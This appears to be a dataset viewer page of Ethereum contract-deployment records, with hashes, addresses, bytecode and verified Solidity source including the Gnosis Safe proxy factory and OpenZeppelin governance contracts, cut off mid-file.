Search is not available for this dataset
chain_id
uint64 1
1
| block_number
uint64 19.5M
20M
| block_hash
stringlengths 64
64
| transaction_hash
stringlengths 64
64
| deployer_address
stringlengths 40
40
| factory_address
stringlengths 40
40
| contract_address
stringlengths 40
40
| creation_bytecode
stringlengths 0
98.3k
| runtime_bytecode
stringlengths 0
49.2k
| creation_sourcecode
stringlengths 0
976k
|
---|---|---|---|---|---|---|---|---|---|
1 | 19,493,856 | 5529f38f1a912af369705e1b1cdaf243692c8c8013aa257fcecdb0d22eb8ee7d | f78ea3eacda988f555f6902b89024ccf7adad894a6706a8a98e1a41b30768349 | 35bab946dad1ec51f31d651efad7f2288acae586 | a6b71e26c5e0845f74c812102ca7114b6a896ab2 | a0324cc67e1462c6c482e1c4ce24353eca6815eb | 608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552 | 608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033 | // SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <[email protected]>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <[email protected]>
/// @author Richard Meissner - <[email protected]>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <[email protected]>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
} |
1 | 19,493,856 | 5529f38f1a912af369705e1b1cdaf243692c8c8013aa257fcecdb0d22eb8ee7d | 318848dca3d3598508d46585bd2751916a0f5b03f2e01b9ae44d59f7b9939b72 | b893ee2ae5b2f1bc886bccb86d62b80d7ed614d2 | a6b71e26c5e0845f74c812102ca7114b6a896ab2 | 97c6edc02e2716e844f3533591e1719e7d8e32e0 | 608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552 | 608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033 | // SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <[email protected]>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <[email protected]>
/// @author Richard Meissner - <[email protected]>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <[email protected]>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
} |
1 | 19,493,860 | 6b11ddfd86dba5dcbf57e8eb8f7c0ec1b4f2b879d3d845721aa65249bf16becd | 7a4c00344a13f035ce371b320a9eb238a692bbd2db05329e80aa86df665c3010 | e05402254472c38d9234b6ae118eaed8c3fe64ea | 881d4032abe4188e2237efcd27ab435e81fc6bb1 | a7e3dc301b9070cc9b45d40b705d3294121852a1 | 3d602d80600a3d3981f3363d3d373d3d3d363d731e7a856bc47a51b9aea124b89b9057b0fa0d1bdd5af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d731e7a856bc47a51b9aea124b89b9057b0fa0d1bdd5af43d82803e903d91602b57fd5bf3 | |
1 | 19,493,860 | 6b11ddfd86dba5dcbf57e8eb8f7c0ec1b4f2b879d3d845721aa65249bf16becd | 7ab8a29b95c67af25db07d8e938e9f5f4550de35b229082e45641c67e6590bd0 | 5af239c0d236d96c334d9ca6b845a3ed6861eaf0 | 758ed0650bdf2ac3bf4a48440c3eb2f6d2bb42a5 | d8fc4a7bfb3437a7ff56cf3caa0e9da291f29957 | 608060408190526319b400eb60e21b8152339060009082906366d003ac9060849060209060048186803b15801561003557600080fd5b505afa158015610049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061006d9190610271565b90506000826001600160a01b031663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100aa57600080fd5b505afa1580156100be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e29190610271565b90506001600160a01b0381161561018d576040516370a0823160e01b815230600482015261018d9083906001600160a01b038416906370a082319060240160206040518083038186803b15801561013857600080fd5b505afa15801561014c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017091906102bf565b836001600160a01b031661019960201b610009179092919060201c565b816001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291516000928392908716916101f591906102d7565b6000604051808303816000865af19150503d8060008114610232576040519150601f19603f3d011682016040523d82523d6000602084013e610237565b606091505b5091509150818015610261575080511580610261575080806020019051810190610261919061029f565b61026a57600080fd5b5050505050565b600060208284031215610282578081fd5b81516001600160a01b0381168114610298578182fd5b9392505050565b6000602082840312156102b0578081fd5b81518015158114610298578182fd5b6000602082840312156102d0578081fd5b5051919050565b60008251815b818110156102f757602081860181015185830152016102dd565b818111156103055782828501525b50919091019291505056fe | ||
1 | 19,493,864 | 9560652dc16b2bc24352d325799df2f3f5be430c447faee3dd331933e69b63f8 | 1c105f229aac80ab3f92c24a5b55ae7fc011321f0522c396ec4b1bc30d8fadbf | 57f82f9e64b5e19ecb76e95e1673a97774c8ba98 | d724dbe7e230e400fe7390885e16957ec246d716 | f50b9285deea626f44350b18951b7fe50da51f72 | 3d602d80600a3d3981f3363d3d373d3d3d363d73cd767be96eb169b1ae089ff03c3f8ebec20535255af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d73cd767be96eb169b1ae089ff03c3f8ebec20535255af43d82803e903d91602b57fd5bf3 | {{
"language": "Solidity",
"sources": {
"@openzeppelin/contracts/governance/utils/IVotes.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (governance/utils/IVotes.sol)\npragma solidity ^0.8.20;\n\n/**\n * @dev Common interface for {ERC20Votes}, {ERC721Votes}, and other {Votes}-enabled contracts.\n */\ninterface IVotes {\n /**\n * @dev The signature used has expired.\n */\n error VotesExpiredSignature(uint256 expiry);\n\n /**\n * @dev Emitted when an account changes their delegate.\n */\n event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);\n\n /**\n * @dev Emitted when a token transfer or delegate change results in changes to a delegate's number of voting units.\n */\n event DelegateVotesChanged(address indexed delegate, uint256 previousVotes, uint256 newVotes);\n\n /**\n * @dev Returns the current amount of votes that `account` has.\n */\n function getVotes(address account) external view returns (uint256);\n\n /**\n * @dev Returns the amount of votes that `account` had at a specific moment in the past. If the `clock()` is\n * configured to use block numbers, this will return the value at the end of the corresponding block.\n */\n function getPastVotes(address account, uint256 timepoint) external view returns (uint256);\n\n /**\n * @dev Returns the total supply of votes available at a specific moment in the past. If the `clock()` is\n * configured to use block numbers, this will return the value at the end of the corresponding block.\n *\n * NOTE: This value is the sum of all available votes, which is not necessarily the sum of all delegated votes.\n * Votes that have not been delegated are still part of total supply, even though they would not participate in a\n * vote.\n */\n function getPastTotalSupply(uint256 timepoint) external view returns (uint256);\n\n /**\n * @dev Returns the delegate that `account` has chosen.\n */\n function delegates(address account) external view returns (address);\n\n /**\n * @dev Delegates votes from the sender to `delegatee`.\n */\n function delegate(address delegatee) external;\n\n /**\n * @dev Delegates votes from signer to `delegatee`.\n */\n function delegateBySig(address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s) external;\n}\n"
},
"@openzeppelin/contracts/governance/utils/Votes.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (governance/utils/Votes.sol)\npragma solidity ^0.8.20;\n\nimport {IERC5805} from \"../../interfaces/IERC5805.sol\";\nimport {Context} from \"../../utils/Context.sol\";\nimport {Nonces} from \"../../utils/Nonces.sol\";\nimport {EIP712} from \"../../utils/cryptography/EIP712.sol\";\nimport {Checkpoints} from \"../../utils/structs/Checkpoints.sol\";\nimport {SafeCast} from \"../../utils/math/SafeCast.sol\";\nimport {ECDSA} from \"../../utils/cryptography/ECDSA.sol\";\nimport {Time} from \"../../utils/types/Time.sol\";\n\n/**\n * @dev This is a base abstract contract that tracks voting units, which are a measure of voting power that can be\n * transferred, and provides a system of vote delegation, where an account can delegate its voting units to a sort of\n * \"representative\" that will pool delegated voting units from different accounts and can then use it to vote in\n * decisions. In fact, voting units _must_ be delegated in order to count as actual votes, and an account has to\n * delegate those votes to itself if it wishes to participate in decisions and does not have a trusted representative.\n *\n * This contract is often combined with a token contract such that voting units correspond to token units. For an\n * example, see {ERC721Votes}.\n *\n * The full history of delegate votes is tracked on-chain so that governance protocols can consider votes as distributed\n * at a particular block number to protect against flash loans and double voting. The opt-in delegate system makes the\n * cost of this history tracking optional.\n *\n * When using this module the derived contract must implement {_getVotingUnits} (for example, make it return\n * {ERC721-balanceOf}), and can use {_transferVotingUnits} to track a change in the distribution of those units (in the\n * previous example, it would be included in {ERC721-_update}).\n */\nabstract contract Votes is Context, EIP712, Nonces, IERC5805 {\n using Checkpoints for Checkpoints.Trace208;\n\n bytes32 private constant DELEGATION_TYPEHASH =\n keccak256(\"Delegation(address delegatee,uint256 nonce,uint256 expiry)\");\n\n mapping(address account => address) private _delegatee;\n\n mapping(address delegatee => Checkpoints.Trace208) private _delegateCheckpoints;\n\n Checkpoints.Trace208 private _totalCheckpoints;\n\n /**\n * @dev The clock was incorrectly modified.\n */\n error ERC6372InconsistentClock();\n\n /**\n * @dev Lookup to future votes is not available.\n */\n error ERC5805FutureLookup(uint256 timepoint, uint48 clock);\n\n /**\n * @dev Clock used for flagging checkpoints. Can be overridden to implement timestamp based\n * checkpoints (and voting), in which case {CLOCK_MODE} should be overridden as well to match.\n */\n function clock() public view virtual returns (uint48) {\n return Time.blockNumber();\n }\n\n /**\n * @dev Machine-readable description of the clock as specified in EIP-6372.\n */\n // solhint-disable-next-line func-name-mixedcase\n function CLOCK_MODE() public view virtual returns (string memory) {\n // Check that the clock was not modified\n if (clock() != Time.blockNumber()) {\n revert ERC6372InconsistentClock();\n }\n return \"mode=blocknumber&from=default\";\n }\n\n /**\n * @dev Returns the current amount of votes that `account` has.\n */\n function getVotes(address account) public view virtual returns (uint256) {\n return _delegateCheckpoints[account].latest();\n }\n\n /**\n * @dev Returns the amount of votes that `account` had at a specific moment in the past. If the `clock()` is\n * configured to use block numbers, this will return the value at the end of the corresponding block.\n *\n * Requirements:\n *\n * - `timepoint` must be in the past. If operating using block numbers, the block must be already mined.\n */\n function getPastVotes(address account, uint256 timepoint) public view virtual returns (uint256) {\n uint48 currentTimepoint = clock();\n if (timepoint >= currentTimepoint) {\n revert ERC5805FutureLookup(timepoint, currentTimepoint);\n }\n return _delegateCheckpoints[account].upperLookupRecent(SafeCast.toUint48(timepoint));\n }\n\n /**\n * @dev Returns the total supply of votes available at a specific moment in the past. If the `clock()` is\n * configured to use block numbers, this will return the value at the end of the corresponding block.\n *\n * NOTE: This value is the sum of all available votes, which is not necessarily the sum of all delegated votes.\n * Votes that have not been delegated are still part of total supply, even though they would not participate in a\n * vote.\n *\n * Requirements:\n *\n * - `timepoint` must be in the past. If operating using block numbers, the block must be already mined.\n */\n function getPastTotalSupply(uint256 timepoint) public view virtual returns (uint256) {\n uint48 currentTimepoint = clock();\n if (timepoint >= currentTimepoint) {\n revert ERC5805FutureLookup(timepoint, currentTimepoint);\n }\n return _totalCheckpoints.upperLookupRecent(SafeCast.toUint48(timepoint));\n }\n\n /**\n * @dev Returns the current total supply of votes.\n */\n function _getTotalSupply() internal view virtual returns (uint256) {\n return _totalCheckpoints.latest();\n }\n\n /**\n * @dev Returns the delegate that `account` has chosen.\n */\n function delegates(address account) public view virtual returns (address) {\n return _delegatee[account];\n }\n\n /**\n * @dev Delegates votes from the sender to `delegatee`.\n */\n function delegate(address delegatee) public virtual {\n address account = _msgSender();\n _delegate(account, delegatee);\n }\n\n /**\n * @dev Delegates votes from signer to `delegatee`.\n */\n function delegateBySig(\n address delegatee,\n uint256 nonce,\n uint256 expiry,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) public virtual {\n if (block.timestamp > expiry) {\n revert VotesExpiredSignature(expiry);\n }\n address signer = ECDSA.recover(\n _hashTypedDataV4(keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry))),\n v,\n r,\n s\n );\n _useCheckedNonce(signer, nonce);\n _delegate(signer, delegatee);\n }\n\n /**\n * @dev Delegate all of `account`'s voting units to `delegatee`.\n *\n * Emits events {IVotes-DelegateChanged} and {IVotes-DelegateVotesChanged}.\n */\n function _delegate(address account, address delegatee) internal virtual {\n address oldDelegate = delegates(account);\n _delegatee[account] = delegatee;\n\n emit DelegateChanged(account, oldDelegate, delegatee);\n _moveDelegateVotes(oldDelegate, delegatee, _getVotingUnits(account));\n }\n\n /**\n * @dev Transfers, mints, or burns voting units. To register a mint, `from` should be zero. To register a burn, `to`\n * should be zero. Total supply of voting units will be adjusted with mints and burns.\n */\n function _transferVotingUnits(address from, address to, uint256 amount) internal virtual {\n if (from == address(0)) {\n _push(_totalCheckpoints, _add, SafeCast.toUint208(amount));\n }\n if (to == address(0)) {\n _push(_totalCheckpoints, _subtract, SafeCast.toUint208(amount));\n }\n _moveDelegateVotes(delegates(from), delegates(to), amount);\n }\n\n /**\n * @dev Moves delegated votes from one delegate to another.\n */\n function _moveDelegateVotes(address from, address to, uint256 amount) private {\n if (from != to && amount > 0) {\n if (from != address(0)) {\n (uint256 oldValue, uint256 newValue) = _push(\n _delegateCheckpoints[from],\n _subtract,\n SafeCast.toUint208(amount)\n );\n emit DelegateVotesChanged(from, oldValue, newValue);\n }\n if (to != address(0)) {\n (uint256 oldValue, uint256 newValue) = _push(\n _delegateCheckpoints[to],\n _add,\n SafeCast.toUint208(amount)\n );\n emit DelegateVotesChanged(to, oldValue, newValue);\n }\n }\n }\n\n /**\n * @dev Get number of checkpoints for `account`.\n */\n function _numCheckpoints(address account) internal view virtual returns (uint32) {\n return SafeCast.toUint32(_delegateCheckpoints[account].length());\n }\n\n /**\n * @dev Get the `pos`-th checkpoint for `account`.\n */\n function _checkpoints(\n address account,\n uint32 pos\n ) internal view virtual returns (Checkpoints.Checkpoint208 memory) {\n return _delegateCheckpoints[account].at(pos);\n }\n\n function _push(\n Checkpoints.Trace208 storage store,\n function(uint208, uint208) view returns (uint208) op,\n uint208 delta\n ) private returns (uint208, uint208) {\n return store.push(clock(), op(store.latest(), delta));\n }\n\n function _add(uint208 a, uint208 b) private pure returns (uint208) {\n return a + b;\n }\n\n function _subtract(uint208 a, uint208 b) private pure returns (uint208) {\n return a - b;\n }\n\n /**\n * @dev Must return the voting units held by an account.\n */\n function _getVotingUnits(address) internal view virtual returns (uint256);\n}\n"
},
"@openzeppelin/contracts/interfaces/draft-IERC6093.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)\npragma solidity ^0.8.20;\n\n/**\n * @dev Standard ERC20 Errors\n * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens.\n */\ninterface IERC20Errors {\n /**\n * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n * @param balance Current balance for the interacting account.\n * @param needed Minimum amount required to perform a transfer.\n */\n error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);\n\n /**\n * @dev Indicates a failure with the token `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n */\n error ERC20InvalidSender(address sender);\n\n /**\n * @dev Indicates a failure with the token `receiver`. Used in transfers.\n * @param receiver Address to which tokens are being transferred.\n */\n error ERC20InvalidReceiver(address receiver);\n\n /**\n * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.\n * @param spender Address that may be allowed to operate on tokens without being their owner.\n * @param allowance Amount of tokens a `spender` is allowed to operate with.\n * @param needed Minimum amount required to perform a transfer.\n */\n error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);\n\n /**\n * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.\n * @param approver Address initiating an approval operation.\n */\n error ERC20InvalidApprover(address approver);\n\n /**\n * @dev Indicates a failure with the `spender` to be approved. Used in approvals.\n * @param spender Address that may be allowed to operate on tokens without being their owner.\n */\n error ERC20InvalidSpender(address spender);\n}\n\n/**\n * @dev Standard ERC721 Errors\n * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC721 tokens.\n */\ninterface IERC721Errors {\n /**\n * @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in EIP-20.\n * Used in balance queries.\n * @param owner Address of the current owner of a token.\n */\n error ERC721InvalidOwner(address owner);\n\n /**\n * @dev Indicates a `tokenId` whose `owner` is the zero address.\n * @param tokenId Identifier number of a token.\n */\n error ERC721NonexistentToken(uint256 tokenId);\n\n /**\n * @dev Indicates an error related to the ownership over a particular token. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n * @param tokenId Identifier number of a token.\n * @param owner Address of the current owner of a token.\n */\n error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);\n\n /**\n * @dev Indicates a failure with the token `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n */\n error ERC721InvalidSender(address sender);\n\n /**\n * @dev Indicates a failure with the token `receiver`. Used in transfers.\n * @param receiver Address to which tokens are being transferred.\n */\n error ERC721InvalidReceiver(address receiver);\n\n /**\n * @dev Indicates a failure with the `operator`’s approval. Used in transfers.\n * @param operator Address that may be allowed to operate on tokens without being their owner.\n * @param tokenId Identifier number of a token.\n */\n error ERC721InsufficientApproval(address operator, uint256 tokenId);\n\n /**\n * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.\n * @param approver Address initiating an approval operation.\n */\n error ERC721InvalidApprover(address approver);\n\n /**\n * @dev Indicates a failure with the `operator` to be approved. Used in approvals.\n * @param operator Address that may be 